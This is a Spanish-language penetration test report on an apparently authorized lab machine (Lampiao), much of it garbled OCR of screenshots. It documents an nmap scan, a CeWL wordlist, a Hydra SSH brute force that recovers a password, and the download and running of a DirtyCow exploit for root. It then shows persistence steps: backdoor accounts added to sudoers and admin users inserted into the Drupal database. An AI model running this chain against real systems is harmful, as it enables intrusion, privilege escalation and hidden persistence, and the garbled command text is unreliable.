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INTRODUCCION

El presente informe resume las actividades realizadas durante una auditoria de seguridad
autorizada. El objetivo fue identificar servicios expuestos, generar informacion util para
pruebas de acceso, comprobar la posibilidad de autenticacion mediante fuerza bruta sobre
servicios remotos, y verificar la capacidad de escalada de privilegios y persistencia en el

sistema objetivo.

PALABRAS CLAVE
Reconocimiento de red( Nmap), Generacion de wordlists (CeWL), Fuerza bruta (Hydra),
SSH, Transferencia segura de archivos, Compilacion de exploits, Escalada de privilegios

local.

OBJETIVO GENERAL.

Verificar la postura de seguridad del host. mediante reconocimiento, explotacion controlada
y evaluacion de la persistencia, con el fin de identificar riesgos criticos y proponer medidas

de mitigacion.
OBJETIVOS ESPECIFICOS
1. Identificar hosts activos y servicios expuestos.

2. Generar y validar un diccionario personalizado a partir del contenido web del

objetivo para su uso en pruebas de autenticacion.

3. Evaluar la robustez de las credenciales del servicio SSH mediante pruebas de fuerza

bruta controladas.

4. Analizar y comprobar la explotacion local de una vulnerabilidad conocida para

confirmar la posibilidad de escalada de privilegios.



ejecucion de un escaneo de red realizado con la herramienta Nmap, utilizando el comando

Nmap
La instruccion ejecutada permite:
e Detectar equipos activos dentro del rango de red
o Identificar puertos abiertos y servicios en ejecucion, junto con sus versiones.

e Obtener informacion del sistema operativo y direccion MAC de los dispositivos

detectados.

= 192.10.10.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-11 09:35 -05
Nmap scan report for 192.10.10.1
Host is up (0.00056s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp filtered domain
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Nmap scan report for 192.10.10.2

Host is up (0.0017s latency).

Not shown: 993 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

445/tcp open microsoft-ds?

617/tcp closed sco-dtmgr

1073/tcp closed bridgecontrol

2179/tcp closed vmrdp

3306/tcp open mysql MySQL 8.0.43

3580/tcp open http National Instruments LabVIEW service locator httpd
1.0.0

MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 192.10.10.3
Host is up (0.00085s latency).
All 1000 scanned ports on 192.10.10.3 are in ignored states.

imagenes 1escaneo con Nmap

port state Service version
22/tcp open ssh  openssh 6.6.1p1 ubuntu 2ubuntu2.7 (ubuntu Linux; protocol 2.0)

80/tcp open http?

22/tcp open ssh openssh 6.6.1p1 ubuntu 2ubuntu2.7 (ubuntu Linux; protocol 2.0)



en este paso se iso la ejecucion de cewl contra el servicio web alojado en
http://192.10.10.13:1898/ con la intencion de generar un diccionario personalizado. el
comando captura y extrae palabras del contenido de la pagina y las guarda en el archivo

diclampaiao.txt

/home/linux
http://192.10.108.13:1898/ —-write diclampaiao.txt

CeWL 6.2.1 (More Fixes) Robin Wood (robinmdigi.ninia) (https://digi.ninja/)

imagenes 2 creacion del diccionario

en este paso se muestra el contenido del directorio del usuario y el conteo de lineas del
archivo diclampaiao.txt. Se observa que en la carpeta existen archivos y herramientas
relacionadas con auditoria. El diccionario generado previamente. El comando wc -1
diclampaiao.txt devuelve 844, indicando que el diccionario contiene 844 entradas un dato
importante que confirma el tamafio del wordlist obtenido con CeWL y que se usara en

posteriores pruebas de fuerza bruta o auditorias de contrasefias

/home/1linux
common. txt result-comp.txt
proftpd-1.3.1.tar.gz.1 USER_FILE
diclampaiao.txt PASS_FILE
/home/linux

diclampaiao.txt
844 diclampaiao.txt

/home/1linux

imagenes 3 contenido del directorio

muestra el contenido del archivo diclampaiao.txt desplegado con cat.



/home/1inux
diclampaiao.txt

Lampiado
que
main
field
Com
section
account
wrapper
Home
new
para
por
content
foi

uma

imagenes 4 despliegue del archivo diclampaiao

diclampaiao.txt

en este paso se hace la ejecucion de Hydra para realizar un ataque de fuerza bruta contra el
servicio SSH en 192.10.10.13, usando el usuario tiago y el wordlist diclampaiao.txt (hydra
-1 tiago -P diclampaiao.txt ssh://192.10.10.13). El resultado indica que se encontrd una

contrasefia valida: Virgulino para el usuario tiago.

/home/1linux
| tiago -P diclampaiao.txt ss
(c) Hauser/THC &

~53 t

[DATA] a .

221[ssh] hos login: tiago as
l1of 1t Lly ¢ e 1 valid
[WARNING] ting restore file se 1 fina threads did not complete u

word: Virgulino

5
5

ve or could not be connected

99-11 1@:19:

/home/1linux

imagenes 5 ejecucion de hydra



en este paso se muestra una sesiéon SSH desde la maquina atacante hacia 192.10.10.13 con

el usuario tiago

/home/1linux
tiago@192.10.10.13
The authentici of host 2.18.18. (192.10.1@ e established.
@ LHZP9bOQBtVrPs8.

/oy rprint])? yes
19) to the list of known hosts.

GNU/Linux &.4.8-31-generic 1686)
* Documentation: https://help.ubuntu.com/

stem information as of Thu Sep 11 12:19:24 BRT

192.1@.10.13

imagenes 6 sesion ssh

en este paso se muestra la sesion interactiva en el servidor obtenido por SSH donde el

usuario tiago realiza reconocimiento local del sistema de archivos

tiagoalampiao:~$% cd tiago

-bash: cd: tiago: No such file or directory
tiago@lampiao:~$ 1s

tiago@lampiao:~$ cd /home
tiago@lampiao:/home$ 1s

tiago@lampiao:/home$ cd tiago
tiagoalampiao:~$ 1s -la

total 36
drwxr-xr-x
drwxr-xr
drwx

-TW
-TW-T—1—

tiago tiago 4096

root root 4096

tiago tiago 4096

tiago tiago 25 .bash_history
tiago tiago 220 .bash_logout
-TW-T—T— tiago tiago 3637 ¢ .bashrc

drwx tiago tiago 4096

-Trw-r—r— 1 tiago tiago 675 .profile
-rw—— 1 root root 577 .viminfo
tiago@lampiao:~$ cd .

tiago@lampiao:/home$ cd

tiago@lampiao:/$ 1s

N == ENWS

tiago@lampiao:/$ cd etc
tiagoalampiao:/etc$ 1s

inputrc
adduser.conf

imagenes 7 sistema de archivos



en este paso se muestra el contenido del archivo /etc/passwd

0,,,:/home/ o:/bin/bash
'sshd:/usr/sbin/nologin

Jusr/sbin/nol
usr/sbin/nologin

sbin/nologin

/usr/sbin/nologin

r/lib/gnats:/usr/sbin/nologin
t:/usr/sbin/nolog

imagenes 8 archivos /etc/passwd

CREAR 2 USUARIOS PARA INGRESAR EN LA PAGINA DE LAMPAIO

En este paso se hace la descarga de un exploit desde Exploit-DB utilizando el comando
wget. En este caso se obtiene el archivo fotos.cpp desde la URL https://www.exploit-
db.com/download/40847, que corresponde a un exploit publicado en la base de datos de

vulnerabilidades publicas.



; exploit-db.com/download/40847 fotos.cpp
https: w.exploit-db onu'dmu'lﬂ_oa.d;‘ 4

ﬂ~p101‘r db.com) ... =
a oit-db.com ( i ) L124.249,13]:443. .. conectado.
ticion HTTP er esperando respu

Longitud: no especificado [application/tx T]
Grabando a: «fotos.cpp»

fotos.cpp

5-09-16 20:26:50 (17,8 MB/s) - «fotos.cpp» guardado [10531]

imagenes 9 descarga del exploit

en este paso se transfirid el exploit fotos.cpp desde la méaquina atacante al host
comprometido 192.10.10.13 utilizando scp (scp fotos.cpp
tiago@192.10.10.13:/home/tiago/). durante la operacion se aceptd la huella del servidor y
se autentic6 con las credenciales del usuario tiago (obtenidas previamente). el archivo
quedo guardado en /home/tiago/ para su posterior compilacion y andlisis local, paso
necesario para verificar la explotacion del servicio identificado.
fotos .cpp' :rjia.goﬁngz

he autthTicitv of ho5t ‘1 - can't be es tab11:hﬁd
D25519 SHA -

h1; Pﬁy is not Pnomn by 4ny OThﬁr

ii[ﬂlng Pexmanently 1dded 19_.1ﬁ 1@. 1:' (ED25519) to the list of known hosts.
Fiago@l192.10.10.13 password:

imagenes 10 transferencia del exploit

en este paso se verifica en el servidor la presencia del archivo fotos.cpp en el directorio
home del usuario tiago. El listado (Is -la fotos.cpp) muestra que el fichero tiene tamaio
10531 bytes, pertenece al usuario y grupo tiago y permisos -rw-rw-r--, lo que confirma que
la transferencia por SCP fue exitosa.

tiago@lampiao:~

fotos.cpp
tiago@lampiao:-

-rw-Tw-r— 1 tiaga tiago 1853 Sep 16 22:58 fotos.
tiago@lampiao:

imagenes 11 archivo fotos.cpp
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en este paso se compila localmente el codigo fuente fotos.cpp en el servidor comprometido

con el siguiente comando.

Este paso transforma el exploit en un ejecutable llamado documentos listos para su
ejecucion. Las opciones utilizadas activan avisos y normas de estilo optimizacion (-O2),
especifican la version de habilitan hilos (-pthread) y enlazan la biblioteca libutil (-lutil) si el
exploit requiere utilidades del sistema. La compilacion exitosa indica que el codigo esta
listo para probarse como parte de la fase controlada de explotacion (siempre registrando

resultados y manteniendo la autorizacion correspondiente).

tiagofglampiao:~$ g++ -Wall -pedantic -02 -std=c++11 -pthread -o documentos fotos.cpp -lutil

tiago@lampiao:~$ |

imagenes 12 ejecucion del exploit

la ejecucion del exploit compilado en el sistema y su efecto el binario documento se hace
ejecutable y se lanza con la opcion para abrir un Shell (-s), momento en el que el exploit
sobrescribe la contrasefia mostrando "Password overridden to: dirtyCowFun" y se obtiene

un prompt con privilegios de root.

tiagoalampiao:~% chmod +x documentos
, ./documentos
./documentos [-s] [-n] | [-h]
open directly a shell, if the exploit is successful;

combined with -s, doesn’t r ore the passwd file.
print this synopsis;

Running
Password overridden to: dirtyCowFun

Received su prompt (Password: )

root@)lampiao:~# echo @ > /proc/sys/vm/dirty_writeback_centisecs
cp /tmp/. etc/passwd
rm /tmp/.ssh_bak

root@lampiao: ~#

imagenes 13 privilegios root

en este paso se muestra la creacion interactiva de una nueva cuenta de usuario en el sistema

con el comando adduser Linux. El proceso afiade el grupo y el usuario (UID 1001), crea el

11



directorio home /home/Linux, copia los archivos plantilla desde /etc/skel y solicita la
contrasefia y los datos del usuario (nombre completo, teléfono, etc.). Finalmente confirma

la informacion y completa el alta del usuario.

group
| USer

) new UNIX password:
passwd: password updated successfully
Changing the user information for linux
Enter the new wvalue, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [¥/n] y
root@lampiao:~# |

imagenes 14 creacion del 1 usuario

la en este paso se hace elevacion de privilegios y configuracion de persistencia para la
cuenta recién creada Linux. Se observan los comandos usermod -aG sudo linux y usermod -
aG root Linux (afiadiendo el usuario a los grupos sudo y root) y la linea echo "Linux
ALL=(ALL:ALL) ALL" >> /etc/sudoers (afiadiendo una entrada en /etc/sudoers que

concede permisos sudo completos).

root@lampiao:~# usermod -aG sudo Linux
root@lampiao:~# usermod -aG root Linux
root@lampiao:~# echo "Llinux ALL=(ALL:ALL) ALL" »» fetc/sudoers

root@lampiao:~# [}

imagenes 15 elevacion de privilegios

En esta parte del procedimiento se evidencia la creacion de un nuevo usuario llamado men
mediante el comando adduser. Durante el proceso se asigna automaticamente un nuevo
grupo con el mismo nombre, se genera el directorio personal /home/men/ y se copian los
archivos iniciales desde /etc/skel. Ademads, se establece una contrasefia para el usuario y se

solicita completar informacion adicional, aunque esta se dejoé en blanco.

12



root@lampiao:~# adduser men
Adding user “men’
Adding new group “men’ (
Adding new user “men'
Creating home directory
Copying files from °/
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for men
the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [¥Y/n] y
root@lampiao:~# ]

imagenes 16 creacion del 2 usuario

en este paso al usuario men se le otorgan privilegios administrativos. Para ello:
e Se agrega al grupo sudo mediante usermod -aG sudo men.
e También se afiade al grupo root con usermod -aG root men.

o Finalmente, se le concede acceso total en el archivo /etc/sudoers, permitiendo

ejecutar cualquier comando con permisos de superusuario sin restricciones.

Este procedimiento garantiza que el usuario recién creado tenga control absoluto sobre el

sistema.

rootoplamplao:
root@lampiaoc:~# usermod -aG sudo men
root@lampiaoc:~# usermod -aG root men

root@lampiao:~# echo "men ALL=(ALL:ALL) ALL" »»> fetc/sudoers
root@lampiaoc:~# |

imagenes 17 elevacion de privilegios 2 usuario

en este paso se confirma el acceso exitoso al sistema con el nuevo usuario Linux, creado y

configurado previamente con privilegios administrativos.
Al iniciar sesidon, se observa:

o El sistema operativo es Ubuntu 14.04.5 LTS con kernel 4.4.0-31-generic.
13



e El usuario Linux logra autenticarse y aparece registrado como el inico usuario

conectado.

e Se muestra el estado del sistema, incluyendo carga (0.0), memoria utilizada (23%) y

direccion IP asignada (192.10.10.13).

lampiao login: linux
Password :
elcome to Ubuntu 14.04.5 LTS (GNU-/Linux 4.4.0-31-generic i686)

= Documentation: https: shelp.ubuntu.com

System information as of Tue Sep 16 £3:09:20 BRT 2025

System load: 0.0 Processes: 166

Usage of ~: 7.52 of 19.07GE Users logged in: 1

Memory usage: 232 IP address for eth0: 192.10.10.13

Swap usage: 07

Graph this data and manage this system at:
https:/landscape.canonical .con/

The programs included with the Ubuntu system are free =oftware:
he exact distribution terms for each program are described in the
individual files in susrrsharesdoc=-copyright.

buntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
pplicable law.

imagenes 18 inicio de sesidn exitoso con el 1 usuario

en este paso se muestra una sesion de consola local en el host comprometido donde el
usuario men (cuenta creada durante la fase de post-explotacion) ha iniciado sesion
correctamente en Ubuntu 14.04.5 LTS. Se aprecia el mensaje de bienvenida del sistema, la

hora del ultimo Login, y un resumen del estado del equipo (carga, uso de memoria y la IP

192.10.10.13).

14



buntu 14.04.5 LTS lampiao ttyl

int: Mum Lock on

lampiao login: men

Password :

Last login: Tue Sep 16 23:09:20 BRT 2025 on ttyl

elcome to Ubuntu 14.04.5 LTS (GNU-Linux 4.4.0-31-generic i686)

= Documentation: https: shelp.ubuntu.com/
System information as of Tue Sep 16 23:11:28 BRT 2025

System load: ©.0 Processes: 166

Usage of ~: ?.52 of 19.076B Users logged in: 1

Memory usage: 23 IP address for eth0: 192.10.10.13
Swap usage: 0

Graph this data and manage this system at:
https:-~landscape.canonical .com~

imagenes 19 inicio de sesidn exitoso con el 2 usuario

Se inicio en el directorio personal del usuario root, donde se identificé un archivo
denominado flag.txt. Posteriormente, se navego hacia el directorio raiz / para visualizar la
estructura principal del sistema. Al intentar acceder directamente a un directorio www
desde la raiz, se evidencié que no existia en esa ubicacion. Luego, se ingresé al directorio
/var, dentro del cual si se encontro la carpeta www. Finalmente, al acceder a /var/www/, se
localiz6 el subdirectorio html, que corresponde al espacio habitual de publicacion de

contenido web en servidores Linux.

15



/8 cd v
Mo such file or directory

'# cd var

root@lampiao:

root@lampiac: /var/wmwi [

imagenes 20 directorio root

Se identifico el archivo de configuracion de una aplicacién web, donde se especifican los
parametros de conexion a la base de datos. Dentro del arreglo $databases, se defini6 la
conexion por defecto con los siguientes valores: nombre de la base de datos (drupal),

usuario (drupaluser), contrasefia (Virgulino), servidor (localhost) y motor de base de datos

(mysql).

y

*default”
darra 'f."

‘drupal’,
‘drupaluser’,
"Virgulino',

imagenes 21 conexion base de datos

en este paso se accedid al directorio /var/www/html/, donde se encontraron multiples
archivos y carpetas relacionados con la instalacion de un CMS (Drupal), incluyendo
archivos de configuracion, instalacion y mddulos. Posteriormente, se ingres¢ al directorio
sites, dentro del cual se explor6 la carpeta default. Alli se identificaron archivos clave como

settings.php y default.settings.php, que contienen la configuracion necesaria para el

16



funcionamiento del sitio web. Estos ficheros suelen ser esenciales para definir parametros

de conexiodn a la base de datos y ajustes especificos del sitio.

xoaTm14mp140 d ‘v cd html
v /REMLE 1s

INSTALL.pgsql.txt

install.php update.php
i X INSTALL.sqlite.txt UPGRADE. txt
COPYRIGHT . txt INSTALL.txt web.config
cron.php lampiao.jpg README.txt xmlrpc.php

LI(ENHE.TVT robots. txt

index.php

.php README.txt
root@lampiao: ;hfm1;;1Tn # .d default
root@lampiao:
1efault ﬂettin

root@lampiao: ;nqlmeJ;hTm1;;1Tn;;dﬂ+4u1Tn [ |

imagenes 22 directorio /var/www/html/

en este paso se establecid conexion a la base de datos MySQL utilizando las credenciales
configuradas previamente (usuario: drupaluser, base de datos: drupal, host: localhost). El
acceso se realizo con éxito mediante el cliente de linea de comandos de MySQL, mostrando
la version instalada del servidor y confirmando que la comunicacion con la base de datos
fue correcta. Este paso permite realizar consultas y operaciones sobre la base de datos del

sistema Drupal.

T1:90m14mp1 :~% mysgl -u drupaluser -p -h localhost drupal

nd column names
turn off this feature to ge ] ic tup with -A

to the MySQL monitor. Commands end with ; or
.14.084.1 (Ubuntu)

, 2016, Oracle and/or its affiliates. ALl rights reserved.

ion ql"ld! or its

Type “help;’ or "\h' for help. Type "\c' to clear the current input statement.

mysql> ]

imagenes 23 mysql

17



Dentro de MySQL, se listaron las bases de datos disponibles en el servidor, encontrando
dos: information _schema y drupal. Posteriormente, se selecciond la base de datos drupal y
se ejecuto la instruccion show tables; lo que permitio visualizar las tablas internas que
gestionan la informacion. Entre ellas se identifican tablas relacionadas con acciones,
bloques, roles, caché y otras estructuras propias del sistema Drupal, evidenciando la

organizacion de los datos en el gestor.

mysqgl> show databa
Database

information_sc
drupal

+
I

+
)
I

+

block_node_type
block_role

imagenes 24 bases de datos
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node

node_access
node_comment_statistics
node_revision

node_type

queue

rdf_mapping

search_node_links
rch_total

(oL ¥ T R Ry R

+ +

nomy_term_hierarchy
nomy_vocabulary
alias

watchdog

73 rows in

imagenes 25 tablas

en este paso se consultd una de las tablas de la base de datos drupal, obteniendo como
resultado informacion de usuarios registrados en el sistema. En la salida se observan
campos como el nombre de usuario, contrasenas cifradas (hash), zona horaria, correos
electronicos y configuraciones asociadas. Este paso evidencia como Drupal almacena y
gestiona la informacion sensible de los usuarios en su base de datos, destacando la

importancia de la seguridad y del cifrado en la administracion de sitios web.

| NULL
| filtered_html

| filtered_html

| filtered_html

4 rows in set (0.00 sec)

imagenes 26 consulta en la base de datos
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en este paso se utilizo un script en PHP (hash drupal.php) para generar contrasefias cifradas
en el formato propio de Drupal. Como ejemplo, se aplico a las palabras “linux” y “men”,
obteniendo los respectivos hashes seguros. Este procedimiento evidencia el método que
emplea Drupal para almacenar contrasefias de usuarios en la base de datos, reforzando la
importancia de los mecanismos de cifrado en la proteccion de credenciales.

— hash_drupé'l.;php "linux"
$5%$D08jtevLaNEL2hjVZnMd . MWL4OmOX8dLtNCR.UGKXjc54yBdilszd

— hash_drﬁpéllphp

$S$DN9P1EHgn3wzS19VIWvxkIQK. h300IJfNRhpHAhs71n@nny2WALp

imagenes 27 script php

en este paso se ejecutd una sentencia INSERT INTO sobre la tabla users de la base de datos
drupal, con el fin de afiadir un nuevo usuario llamado “Linux”. En el registro se incluy6 un
hash de contrasefia previamente generado en formato Drupal, junto con datos como correo
electronico, zona horaria y otros parametros predeterminados. La consulta se completo

exitosamente, confirmando que el nuevo usuario fue insertado en el sistema.

in, status, timezone, language, picture, init, data)

d.MWL4QmIXBdtNCR. UGxjc54y0dibizd’, ‘linux@example.com’, "', '*, 'filtered_html', UNIX_TIMESTAMP(), @, @, 1, ‘America/Bogota

imagenes 28 insercion de usuarios

en este paso se ejecutd una sentencia INSERT INTO sobre la tabla users de la base de datos
drupal, con el fin de afiadir un nuevo usuario llamado “men”. En el registro se incluy6 un
hash de contrasefia previamente generado en formato Drupal, junto con datos como correo
electronico, zona horaria y otros parametros predeterminados. La consulta se completd

exitosamente, confirmando que el nuevo usuario fue insertado en el sistema.
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mysql> INSERT INTO users
— (uid, name, pass, mail, theme, signature, signature_format, created, access, login, status, timezone, language, picture, init, data)

.h300IJfNRhpHAhS71n@nny2WASp®, 'men@example.com’, '*, ', ‘filtered_html', UNIX_TIMESTAMP(), @, @, 1, America/Bogota’

mysql> I
imagenes 29 insercion del 2 usuario

Se listaron los roles configurados en el sistema (administrator, anonymous user,
authenticated user y writer), cada uno con su identificador (rid) y peso (Wright).
Posteriormente, en la tabla users_roles se visualizaron las relaciones entre usuarios (uid) y

roles (rid).

mysgl> select * from role;

[l
=8

§o———— e —

name

1<}
=
—+

administrator
anonymous user
authenticated user

O L

[P

§o———— e —
~

o —_——— — 4
o———— o —

rows in se

-

rom users_roles;

mysgl> I

imagenes 30 roles

se insertan registros en la tabla , asignando roles especificos a los usuarios identificados por
sus respectivos IDs. Esta operacion es fundamental para la gestion de permisos dentro de
sistemas que dependen de estructuras relacionales para controlar el acceso y las funciones

de cada usuario.

mysgl> INSERT INTO user
Query OK, 1 row affected

mysql> |

imagenes 31 se insertan roles
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mysql> INSERT INTO user
Query OK, 1 row affecte

mysql>

imagenes 32 se insertan roles

en este paso se hace la ejecucion de una consulta SQL sobre la tabla , la cual forma parte de
la estructura de una base de datos relacional. Esta tabla representa la relacion entre usuarios
y sus respectivos roles dentro de un sistema, permitiendo identificar qué usuarios () estan

asociados a qué roles (). La consulta realizada () tiene como objetivo visualizar el contenido

completo de dicha tabla

1=
[l
=L

[l I =

&
i

——— e — 4 — 4
——— 4 — 4

rows in

&

imagenes 33 selecion de la tabla users_roles

CONCLUSION

La auditoria permitio identificar servicios expuestos en el host y, mediante el uso de un
diccionario personalizado y pruebas controladas, se obtuvo acceso remoto con un usuario
valido. Posteriormente, el andlisis de un exploit publico y su ejecucion local demostraron la
posibilidad de escalada de privilegios a root, seguido de la creacion de cuentas (Linux,
men) con privilegios administrativos para persistencia. Estas pruebas confirman la

existencia de riesgos criticos: servicios con credenciales débiles, sistema vulnerable a una
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escalada local y ausencia de controles que detecten o prevengan la creacion no autorizada

de cuentas con privilegios elevados.
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